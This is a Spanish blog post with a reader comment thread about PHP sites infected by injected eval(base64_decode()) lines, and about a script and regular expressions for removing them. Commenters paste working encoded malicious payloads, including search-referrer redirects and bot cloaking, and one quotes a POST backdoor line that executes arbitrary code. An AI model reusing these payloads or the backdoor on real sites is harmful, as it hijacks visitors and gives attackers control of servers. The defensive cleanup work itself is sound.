Saturday, 24 April 2010

Archivos PHP hackeados con eval(base64_decode())

Te interesa este artículo si acabas de descubrir con estupor que los archivos de PHP de tu Wordpress, o OSCommerce, o cualquier CMS PHP han sido reescritos "mágicamente" (obviamente por un código malicioso), y al inicio presentan una línea como ésta:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZ... ...9fX0=')); ?>


Escenario

Se trata de una "inyección de código PHP" codificado en base64 que normalmente se extiende a TODOS los archivos PHP que tengas en ese dominio! como lo oyes, increíble, no?

No es difícil decodificar la base64, y encontrarás un centenar de sitios web en donde explican cómo hacerlo. Pero resumidamente esa "cabecera" inyectada en tus archivos PHP es capaz de leer todo tu sistema de archivos y enviar esa información a quien dejó la "semilla".

No he leído en profundidad sobre el origen de este hackeo, aunque sí he leído que se remonta al menos al año 2001!!! Además, si decodificas el mensaje en base64 verás que es a su vez un código PHP que llama a otro archivo de nuevo con codificación en base64, que suele ser un archivo perdito en el árbol de directorios, normalmente una "falsa hoja de estilos en PHP" del skin o del theme de algún plugin de algún componente de tu CMS (el editor HTML, por ejemplo). Como que estos componentes suelen ser opensource, alguien con malicia puede intentar colar un código de hackeo fácilmente de esta forma (entre los estilos, de un skin, de un plugin...).

En mi caso lo descubrí en:

/var/www/sites/myuser/mydomain.com/subdomains/www/html/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php


Si quieres saber qué dice tu código en base64 usa esta web:

http://www.motobit.com/util/base64-decoder-encoder.asp

marca la opción: "decode the data from a Base64 string (base64 decoding)" y pulsa en el botón "convert the source data".


Limpieza automatizada

En mi caso me bastó con limpiar esas inyecciones de PHP de mis archivos. Y como eran más de un centenar... pues necesitaba un script que automatizara esa limpieza. Y bueno, buscando un poco encontré un script que aproveché para mejorar y que podéis descargar aquí:

http://imasdeweb.com/opensource/search_and_replace/search_and_replace.php.zip


¿Cómo funciona?


  1. debes colocarlo en la raíz de tu dominio y llamarlo desde el navegador

  2. hará una exploración recursiva de TODOS los directorios y subdirectorios buscando archivos con extensión PHP, HTML o HTM.

  3. mirará dentro de cada archivo buscando mediante una expresión regular si hay algo como lo que puse arriba ("/eval\(base64_decode\(\'[A-Za-z0-9\=\/\+]+\'\)\);/")

  4. si encuentra ese código, primero hará un backup de ese archivo (por si quieres deshacer los cambios... que lo dudo) añadiéndole la extensión "_hackedcopy"

  5. por último, quitará del archivo el código malicioso

  6. además, mostrará por pantalla el listado completo (y sangrado!!!) de los archivos revisados marcando los infectados (rojo) y los limpios (verde)

En fin, estoy seguro que a más de uno le va a "salvar la vida". Aunque bien bien, no sé los efectos de tener ese código infectando tus archivos... Si alguien sabe algo, podría resumirlo en un comentario ;)

Y si alguien le hace más mejoras, pues me presto a actualizar la versióna actual :))


Editado en 24 May 2011:
Gracias a un comentarista, Henry, hemos descubierto que el cógido malicioso en base64 que infecta nuestros archivos puede estar delimitado por comillas simples (') como en el ejemplo que pongo en el artículo, o por comillas dobles (como le sucedió a Henry).

Si ese es tu caso, debes modificar la línea 86 del script de búsqueda y limpieza y poner esta otra expresión regular que usa comillas dobles ;)

"/eval\(base64_decode\(\"[A-Za-z0-9\=\/\+]+\"\)\);/"


Editado en 10 Octubre 2011:
Otro comentarista, Fco., nos ha hecho una valiosa aportación: nos ha proporcionado una expresión regular que cubre ambos casos, es decir, el de las comillas simples y el de las comillas dobles, y además tiene en cuenta posibles espacios en blanco! Excelente! jejejeje... es de esas cosas que nunca he sabido hacer: jugar con las expresiones regulares.

Ya modifiqué el script para descarga. Gracias Fco.
Os pongo aquí la expresión que Fco. ha construido:

$needle = '/[\s]+eval\(base64_decode\(["\'][A-Za-z0-9\=\/\+]+["\']\)\);/';


Editado en 5 Marzo 2012:
Otro comentarista, Romina, ha preguntado cómo sería posible eliminar todos esos archivos con el sufijo "_hackedcopy" que el script de limpieza ha generado. Porque la verdad sea dicha, al cabo de un mes de prudente distancia, ya podemos limpiar nuestro sistema de archivos de esas copias "contaminadas". En realidad son inocuas (=inofensivas) porqué no tienen la exetensión .php, pero en fin... ocupan espacio innecesariamente!

Para algun@s amantes de la consola linux la solución más fácil es usar un comando shell como éste que nos ha regalado un visitante anónimo:

for i in `find . -name '*_hackedcopy'`;do rm $i; done  


no soy un experto en linux, pero parece que debería funcionar. Tampoco lo he probado. Se agradecerá comentarios de quien lo pruebe ;)

Por otra parte, dado que a veces nuestro proveedor de hospedaje no nos proporciona acceso SSH al servidor o bien en el panel de hosting no hay una sección en donde ejecutar comandos de consola (`shell`), he programado un nuevo script

remove_copies.php

que he añadido al archivo ZIP para descarga de este artículo, que hará esa eliminación simplemente llamándolo desde el navegador, previamente habiéndolo colocado por FTP en la raíz del directorio que queremos "limpiar". Tranquilos, lo único que hace es: buscar recursivamente archivos con el sufijo '_hackedcopy' y los elimina. Para mayor control del asunto, el script saca por pantalla el listado de archivos eliminados y el número de directorios/archivos escaneados.


Editado en 5 Nov 2012:
Después de varios meses de recibir comentarios (se pueden leer debajo del artículo) creo interesante completar este artículo con los siguientes datos y trucos resaltados por algunos comentaristas:

  • Javier 3VS nos recuerda que podemos cambiar la línea 37 del script de localización de código mailicioso para detectar buscar en otros tipos de archivo que los propuestos inicialmente, puesto que resulta que estas inyecciones también suceden por ejemplo en archivos de javascript!!! (extensiones .js)

    $a_ext=array('php','html','htm','js');

  • Por supuesto, estas inyecciones de código en archivos de javascript ya no van a ejecutarse en el servidor sino en el navegador de los visitantes de nuestra web, así que podéis imaginar que la expresión inyectada es diferente y por tanto hemos de ajustar la expresión regular del script que es usada para encontrar estos códigos!!

    Para ayudarnos en el ajuste de esta expresión regular, Javier 3VS nos comparte el siguiente enlace en el que podemos JUGAR EN TIEMPO REAL con expresiones regulares para ver si funcionarán o no con nuestro código de muestra!!! genial, no?!

    http://gskinner.com/RegExr/?32kag

  • otro comentarista, Almo nos comparte detalladamente como hizo para buscar, encontrar, limpiar y mejorar su seguridad para el futuro. Creo que puede interesar a más de uno leer su explicación.

    Lo más interesante a destacar de su explicación creo yo es que él encontró la semilla en forma de un archivo /images/post.php (lástima que no indique de qué CMS) en el que éste código recibe por POST cualquier código PHP que se le quiera pasar y LO EJECUTA!!! imaginen que desastre si alguien tiene un acceso así a nuestro servidor :(

    if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;}


Editado en 4 Ene 2013: [JOOMLA]
Gracias a José tenemos nueva información útil para los usuarios de Joomla:

  • en su caso dice que la infección estaba en la carpeta "images", en forma de dos ficheros php (feeback.php y script.php)

  • después de limpiar el código de su web ha seguido las medidas de seguridad propuestas en este artículo:

    http://www.siteground.com/tutorials/joomla15/joomla_security.htm

    el documento es de lectura recomendada para todos los usuarios de Joomla, pero yo lo recomendaría para todo el mundo, y Jose lo resume así: he cambiado los prefijos de las tablas, he denegado el acceso a los ficheros php, salvo a los dos index principales de mi sitio joomla, y he protegido la carpeta "Administrator" desde mi panel de administración (en realidad es un htaccess).

  • Por cierto, Jose también descubrió cuál era la finalidad del ataque: cuando la gente veía su web en el buscador Google todo parecía normal, pero cuando pulsaban en el enlace eran redirigidos a páginas de terceros, habitualmente porno.

En fin feliz búsqueda, captura y eliminación! ;)
Y si en tu lucha encuentras algo nuevo que aquí no hayamos dicho y pueda servir, añádelo en los comentarios... yo me encargo de incorporarlo al artículo o al script si es suficientemente de interés general.

Un saludo!
SERGI

195 comments:

  1. A mi me pásó eso que describes y me di cuenta porque tenia página indexadas en google de mi dominio que no eran mias es decir el codigo encriptado al desencriptar te dirije a uno archivo y si vuelves a desencriptar el archivo, y observas los script circundantes, por lo menos en mi caso. encuantras un script que te permnite subierte paginas intrusas con comentarios raros en ingles en mi caso hablando de una universidad, otras paginas con necrológica y muchas otras cosas. la cuastion es que en las palabras clave que google reconoce de tu sitio aparecian palabras clave que no existia en mi cintenido salvo por que estaban en esas páginas intrusas, lo primero que hice fue, restringir esas páginas desde el robot.txt y eliminar todo el script del uploader que me tenian montado hasta un explorador de archivos, que te parece?

    las páginas eran dinamicas, y en su url tenian esta forma /?bdoc=factory+five y siempre con el ?bdoc=

    ReplyDelete
  2. Gracias Eduardo por tu aportación. Permíteme una pregunta, ¿en qué archivos crees que te colaron el "troyano"? Es decir, en mi caso fue en el skin del plugin tinymce para wordpress. ¿Y en tu caso? ¿descubriste por dónde te metieron todo eso en tu servidor?

    Es bueno saber eso para hacer una lista de "agujeros conocidos" ;)

    Saludos!
    SERGI

    ReplyDelete
  3. Hola a mi tambien me sucedio me redireccionaba a una pagina que simulaba un servidor tipo msn, retire y monte la pagina de nuevo pero al ejecutarla desde el servidor me volvia a cargar el troyano, baje de nuevo la pagina y en el pc le pase el antivirus ahi parte de los virus se fueron y lo demas fue trabajo manual, ver archivo por archivo y limpiar.
    que bien me hubiera caido tu codigo ayer.
    finalmente la vulnerabilidad de mi pagina fue porque monte el modulo de oziogallery que es un slide de fotos, me genero el agujero y por ahi inyectaron la pagina.
    sin embargo muy valioso tu aporte gracias

    ReplyDelete
  4. Pues me lo colaron tambien por un plugin, un editor, pero, en ésta ocuasión para joomla. El nombre del editor es: fckeditor

    Y la ruta donde estaba es la siguiente:

    plugins/editors/fckeditor/editor/filemanager/browser/default/images/icons/32/style.css.php

    Como ves camuflado en el style.css.php

    ReplyDelete
  5. hola, me acabas de salvar la vida, jaja me veia limpiando php a php del maldito codigo. muchas gracias de verdad.

    ReplyDelete
  6. Hermanos les agradesco muchisimo su tremendo aporte, tenia ese mismo problema pero gracias a su generoso aporte y a esa direccion que posteaste, pude limpiar el sitio.

    De verdad muchismias gracias no sabes cuanta gente algun dia agradecera esto que hicistes.

    Solo me resta decirte que Dios les ama, que un dia salieron creados de sus manos y que solamente en cuando vuelvan a sus manos encontraran felicidad y paz.

    Gracias y bendiciones

    ReplyDelete
  7. Hola amigos, Gracias por toda esta info. tengo una pregunta ¿Donde hace el backup de los archivos infectados?

    Muchas gracias

    ReplyDelete
  8. Hola "Anónimos". Reitero mi petición de que firmen sus comentarios con algo más "amigable" ;) No es necesario iniciar sesión o abrir una cuenta o registrarse para comentar, pero por favor, al menos firmen abajo con su nombre! ALberto, Luis... Kevin, Marta... lo que quieran... pero hagamos entre todos una internet más humana, eh. Qué gracia que nombren a Dios pero no se presenten ustedes :(

    Por lo demás, me alegro de que hayan escrito para compartir su experiencia... que siempre reconforta el ser útil.

    Al "Anónimo" último, decir que el backup del archivo infectado se hace en el mismo directorio que está el archivo originalmente, solo que añadiéndole el sufijo "_hackedcopy" ;)

    Lo que pasa es que también recomiendo hacer una limpieza de esos archivos pasado un tiempo prudencial en el que se haya comprobado que todo ha vuelto a la "normalidad", porque si no vas a estar ocupando EL DOBLE de espacio de disco duro! mmmm... lo que me recuerda que no preparé un script para eliminar todos esos archivos de un tirón, pues la verdad es que si hay muchas carpetas y subcarpetas puede ser interminable.. vaya... ¿se nota que yo aún tengo esos archivos ocupando espacio en mi servidor,no?! jejeje... enf in, si me pongo a limpiarlos les comparto el script, y si alguien tiene la gentileza de hacerlo antes que me lo pase y lo cuelgo.

    Saludos y un largo y próspero año 2011 para todos!
    SERGI

    ReplyDelete
  9. Uau, esta entrada y el script search_and_replace realmente me han salvado la vida... o la de mi blog!! Muchisimas gracias y enhorabuena por el buen trabajo. Saludos

    ReplyDelete
  10. Gracias por el feedback positivo Sarvesh ;)
    Me alegra haber sido útil.
    Un saludo!
    SERGI

    ReplyDelete
  11. hola yo tengo el mismo problema en mi sitio y no se que hacer .. se me habia presentado antes y lo solucione con quitar el codigo del includes y defines... pero .... ahora no funciono ni quitando los codigos de todos los phps de la carpeta raiz.... help me please!!!!

    ReplyDelete
  12. Hola Paola, tendrías que especificar más detalles de tu caso. ¿Qué quieres decir con "...ahora no funcionó..."?

    A mi modo de ver el problema es uno: algun plugin de tu CMS ha "esparcido" unas líneas de código en tus scripts PHP. Lo único a hacer es limpiar esos archivos (lee mi artículo) y DESHACERTE de la SEMILLA ! es decir, del archivo de PHP que esparce el código en tu CMS (un plugin o algo así que tengas instalado...).

    Sea como sea, tienes que investigar entre los archivos de tu CMS (usa las páginas que se comentan en el artículo para descifrar código en base64). Si no no podrás limpiar mucho ni te podremos ayudar.

    Suerte!
    SERGI

    ReplyDelete
  13. Buenas Sergi,

    mi caso es similar al de Paola. Yo uso Joomla, y anteriormente con eliminar el código de index.php y de defines.php solucionado.

    Ahora se me ha esparcido a un monton de archivos. Trato de correr tu archivo pero , perdona, pero no tengo ni idea de php con lo que no sé como modificar la variable que pasas como a "sustituir". Mira lo que tengo en mis archivos es algo así :

    <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2J1eW9yZGllLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCn0="));

    Cómo modifico la línea 86?¿.

    Mil gracias por tu ayuda.
    JJ

    ReplyDelete
  14. Solucionado,

    eres un monstruo, jajaja.

    Abrazos desde Alicante

    JJ

    ReplyDelete
  15. hola, sabes qe lo hice tal cual, me mostro la pagina con los archivos qe recupero, pero al tratar de entrar el antivirus me dice qe el sitio tien virus y se bloqueo. sabes qe puede ser?
    muchas gracias
    silvana

    ReplyDelete
  16. Hola Silvana, cuando dices que el antivirus te dice que el sitio tiene virus, ¿te refieres a tu antivirus de escritorio que monitorea tu navegación web? Si es así, no sé decirte. Básicamente porque no me ha ocurrido nunca.

    Pero en todo caso, parece que lo más probable es:

    - o no lo has limpiado del todo
    - o tienes otra infección! pero de otro tipo

    En fin... siento no poder decirte más... te va a tocar investigar más a fondo. Cuando consigas resolverlo se agradecería que compartieras cómo lo hiciste.

    Saludos!
    SERGI

    ReplyDelete
  17. Hola buenas, muy buenos aportes, pero mi problema es grave ya que este codigo esta casi en todos los archivos .php y cuando corro el script tengo un error en la linea 68 con la funcion:

    function: file_put_contents()
    Es urgente para mi resolver este problema.

    Gracias, mi correo es webmaster@amet.gov.do

    que puedo hacer...

    ReplyDelete
  18. Hola Juan Carlos, ¿puedes copiar el error exactamente el texto del error?

    ReplyDelete
  19. ¿Tu servidor es Linux o Windows? porque tal vez la cuestión de rutas de archivos en windows vaya de manera diferente... no sé, por ejemplo por las barras al revés!

    Tal vez también puede que tengas un problema de permisos de escritura según qué directorios estás intentando abrir o qué archivos intentas escribir.

    ReplyDelete
  20. Gracias, pense descargar el portal completo y luego executar el script localmente y subirlo de nuevo, crees que funcione.

    Existe algun otro metodo de eliminar este virus.

    Gracias por contestar tan rapido.

    ReplyDelete
  21. http://www.amet.gov.do/search_and_replace.php

    ReplyDelete
  22. Fatal error: Call to undefined function: file_put_contents() in /hsphere/local/home/centrogo/amet.gov.do/search_and_replace.php on line 68

    Este es el error...

    ReplyDelete
  23. Juan Carlos, tu error es que la función file_put_contents() no es reconocida por tu servidor de PHP, lo cuál me hace pensar que es porque tienes una versión de PHP anterior a 5. Esta función fue implementada a partir de PHP5.

    Lo puedes ver en la doc oficial de PHP para esta función (mira debajo del título al inicio del artículo):

    http://php.net/manual/en/function.file-put-contents.php

    Tienes dos soluciones:

    - cambiar de PHP4 a PHP5 (no recomendable de hacerlo ahora "en un momento" porque comporta cambios notables y tendrías más problemas que soluciones).

    - construirte una función del tipo:

    function file_put_contents(){ bla bla bla... }

    que haga lo mismo que hace esa ;) No es tan complicado, porque en realidad solo es escribir un contenido en un archivo... Puedes hacerlo con fwrite. Mmmmm... voy a hacertela en un momento (tengo una por ahí que hace casi lo mismo).

    Ahora vuelvo.
    SERGI

    ReplyDelete
  24. Wao no tengo como agradecerte Usher web, pense en este fin de semana borrarlo todo e reinstalar, quedarme con las imagenes y la base de datos, pero si el archivo me funciona seria una excelente solucion, realmente no es la primera vez, en otras ocaciones solo elimine el codigo de algunos archivos y listo, me gustaria saber como elimino este problema definitivamente.

    ReplyDelete
  25. Mira, escribí un nuevo artículo para compartir la función que te hice:

    http://crear-paginas-web.blogspot.com/2011/03/error-call-to-undefined-function.html

    Vas a hacerme un favor, pruébalo primero sobre algun directorio de prueba, por ejemplo, el duplicado de un directorio real... por si "sale mal" ;)

    Y luego me confirmas que sí te ha funcionado, por favor. No tengo tiempo de probarlo yo ahora -estoy con otro asunto-.

    Para que no te vuelva a pasar tendrías que investigar dónde está la SEMILLA que ha infectado todo tu site. Si relees este artículo verás que puede ser en muchos sitios, normalmente el plugin de una librería opensource o un skin incluso... Habrías de investigarlo.

    ¿Cómo? pues tomando ese código que tienes en base64 y decodificándolo (en el artículo expliqué cómo) y probablemente te lleve a otro archivo con más base64 y ése a otro. Creo que yo tuve que hacer esa tarea 3 veces hasta encontrar LA SEMILLA, es decir, el archivo PHP que se comunica con el exterior! ;)

    Una vez localizado... ya sabes: ELIMINALO ;)

    Suerte, y reporta tu feedback, please.
    Saludos desde Hermosilo, Sonora, México!
    SERGI

    ReplyDelete
  26. Hola Sergi

    Gracias por el aporte, tengo este problema en un sitio y he puesto y corrido tu archivo, pero no encuentra el codigo malicioso en ningun archivo pese a que si esta el codigo incrustado, Qu e puede estar fallando??

    Gracias

    ReplyDelete
  27. Hola Henry, pues lo que yo haría sería primero asegurarme de que estás usando bien el script de búsqueda. ¿Porqué no le haces buscar algo que estés seguro que sí existe... pero sin necesidad de una expresión regular tan compleja? simplemente que busque una palabra que sepas que está en algún archivo.

    Puedes estar teniendo problemas de varios tipos: dónde has colocado el script y el path dónde está buscando; o bien problemas de permisos. Y si me apuras, no sé si podrías tener problemas si el sistema operativo de tu servidor no es Linux, pues ya sabes que hay diferencias en el sistema de archivos de windows y Linux.

    Pero el problema podría ser otro: simplemente que el "virus" haya mutado y la expresión regular que lleva el script ya no sirva... fíjate que este artículo es de hace más de un año!! en ese caso sería necesario saber qué aspecto tienen las inserciones de código malicioso que tú tienes al inicio de tus archivos, para adaptar la expresión regular de búsqueda. Aunque sinceramente, yo soy incapaz de manejar eso... nunca he conseguido entender esa sintaxis :( Pero en fin, alguien que lea esto podría ayudarte.

    Si consigues resolver algo, márcate un punto y brevemente dinos cómo lo hiciste ;)

    Saludos!
    SERGI

    ReplyDelete
  28. Hey Sergi gracias por la respuesta pues si el post es antoiguo pero pense solucionarlo con el script que gentilmente colgaste, bueno el servidor es Linux y aparentemente el codigo esta bien (se algo de programacion, pero estas expresiones regulares tambien me son complejas) pero el script al parecer si funciona pero no detecta el codigo, que es este

    eval(base64_decode("DQoNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwidHdpdHRlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFzay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtc24iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2siKSkgew0KCWlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3Jpbmdvc3RhcnQub3NhLnBsLyIpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ=="));

    Con todo voy a probar tu sugerencia a ver si me encuentra alguna palabra conocida de un archivo y posteo.

    Dada la urgencia del tema por el momento estoy haciendo manualmente pero esta una lata casi 1000 archivos infectados,

    ReplyDelete
  29. Sergi

    Nuevamente posteando, mira reemplace este codigo
    $needle = '/eval\(base64_decode\(\'[A-Za-z0-9\=\/\+]+\'\)\);/';
    por este
    $needle = 'Joomla';

    no se si estoy haciendo bien ya que olvide mencionar tambien q PHP desconozco, pero poniendo el codigo asi tal cual no me encuentra tampoco coincidencias, le estoy probando en un sitio q tiene un solo archivo. pero ni aun asi

    ReplyDelete
  30. Henry, pero al menos el script te lista los archivos en dónde ha buscado?!

    ReplyDelete
  31. si, lista todos los archivos pero me dice Not found

    ReplyDelete
  32. Déjame intentarlo a mí. ¿Porqué no metes en un ZIP uno de esos archivos infectados y me das aquí el enlace para que me lo descargue?

    ReplyDelete
  33. Hola Sergi gracias por tu ayuda

    mira en este link http://www.artekreativo.com/search_and_replace.php y me pone todo Not found a pesar de haber archivos infectados.

    POr ejemplo este admin.admin.html.php...Not Found tiene elcodigo incrustado ahi te dejo el enlace para q lo descargues http://www.artekreativo.com/infectado.zip

    Y otra cosa abusando tu confianza, por mas q leo y releo ese codigo decodificado no logro dar con la SEMILLA, tal vez tu me puedas guiar un poco de hacia donde ir para determianr el archivo q me causa esto.

    Gracias desde ya

    ReplyDelete
  34. Hola Sergi

    Mira en esta pagina esta puesto el script para buscar y limpiar http://www.artekreativo.com/search_and_replace.php y los resultados todos dice Not FOUND y este es uno de los infectados admin.admin.html.php...Not Found.

    En este enlace te dejo el archivo infectado http://www.artekreativo.com/infectado.zip.

    Y otra cosa abusando tu confianza, por mas que leo y releo el coddigo decodificado no logro dar con la SEMILLA, tal vez me puedes guiar tu por donde ir??

    Gracias adelantadas

    ReplyDelete
  35. Henry, siento haberme tardado... se me fue un poco de la cabeza este tema y hoy busqué media horita para resolver tu incidencia.

    La buena noticia es que ya resolví que está sucediendo en tu caso y ya encontré la manera de limpiar tus archivos modificando solo una línea del script ;)

    El problema era de comillas dobles vs. comillas simples. El script que aquí tengo colgado sirve para corregir codigos maliciosos de este tipo:

    eval(base64_decode('DQoNCg...KfQ=='));

    pero tú tienes esto:

    eval(base64_decode("DQoNCg...KfQ=="));

    Vaya tontería, no? pues en fin, es que en este caso tienes que cambiar la expresión regular de búsqueda. La original era:

    '/eval\(base64_decode\(\'[A-Za-z0-9\=\/\+]+\'\)\);/'

    y en tu caso debes usar:

    "/eval\(base64_decode\(\"[A-Za-z0-9\=\/\+]+\"\)\);/"

    debes hacer el cambio en la línea 86 del script. Lo he probado limpiando tu archivo y funciona ;)

    Un saludote!
    SERGI

    ReplyDelete
  36. Eres grande amigo Sergi.

    Funcionó y me ahorró un gran trabajo, te quedo muy agradecido, ahora lo q me resta es descubrir la SEMILLA pero en eso estoy

    Un abrazo

    ReplyDelete
  37. Sergi, muchas gracias por tu script, lo ejecute en mi sitio y luego todas mis paginas empiezan correr a la perfeccion, pero una media hora despues, el problema se repite, creo que esto se debe a que no he borrado la "semilla", la verdad despues de desencriptar el codigo me canse de buscar, y no logro ver que en él se llame algun otro archivo.

    Te agradezco me puedas explicar como hiciste para descubrir la semilla en el tuyo.

    Por otra parte creo que este virus a penetrado mi base de datos, ya que los caracteres se muestran de forma irregular.

    Gracias!

    Manuel

    ReplyDelete
  38. Hola Manuel, voy a responderte por partes. Empecemos con el segundo punto, el de los "caracteres que se muestran de forma irregular". A falta de más explicaciones (la verdad, podrías haber sido más específico), creo que el siguiente artículo que acabo de escribir (te lo dedico) te puede ayudar. Es algo que tenía pendiente escribir, para resumir la dura lucha que me supuso a mí entender este tema (es lo que tiene ser autodidacta... ya sabes):

    http://crear-paginas-web.blogspot.com/2011/08/solucion-caracteres-raros-y-juegos-de.html

    En cuanto al primer problema que me mencionas, posiblemente es lo que tú dices: no has hallado la "semilla" del virus y entonces se vuelve a "instalar" al poco rato de haber limpiado tu sistema! :(((

    Si te soy sincero, después de un año y medio que escribí este artículo ya no me queda muy claro como hice para encontrar la semilla. Creo que -tal como explico en el artículo- has de ir "decodificando" el mensaje insertado en un archivo y eso te lleva a otro. Insiste un poco, pues creo recordar que tuve que repetir el proceso como 5 veces hasta encontrar la semilla, que claramente verás cuál es porque el código es otro. Ufff... ya no recuerdo cuál :(

    Cuando consigas encontrar la semilla estaría bien que explicaras aquí cómo lo hiciste ;)

    Un saludo!
    SERGI

    ReplyDelete
  39. Hola Sergi, primero que todo, muchas gracias por tu pronto respuesta.

    Por otra parte le cuento que no he podio encontrar esa bendita "semilla". El codigo malicioso en base 64 que aparece en mi los index de mi sitio es:
    'ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICgh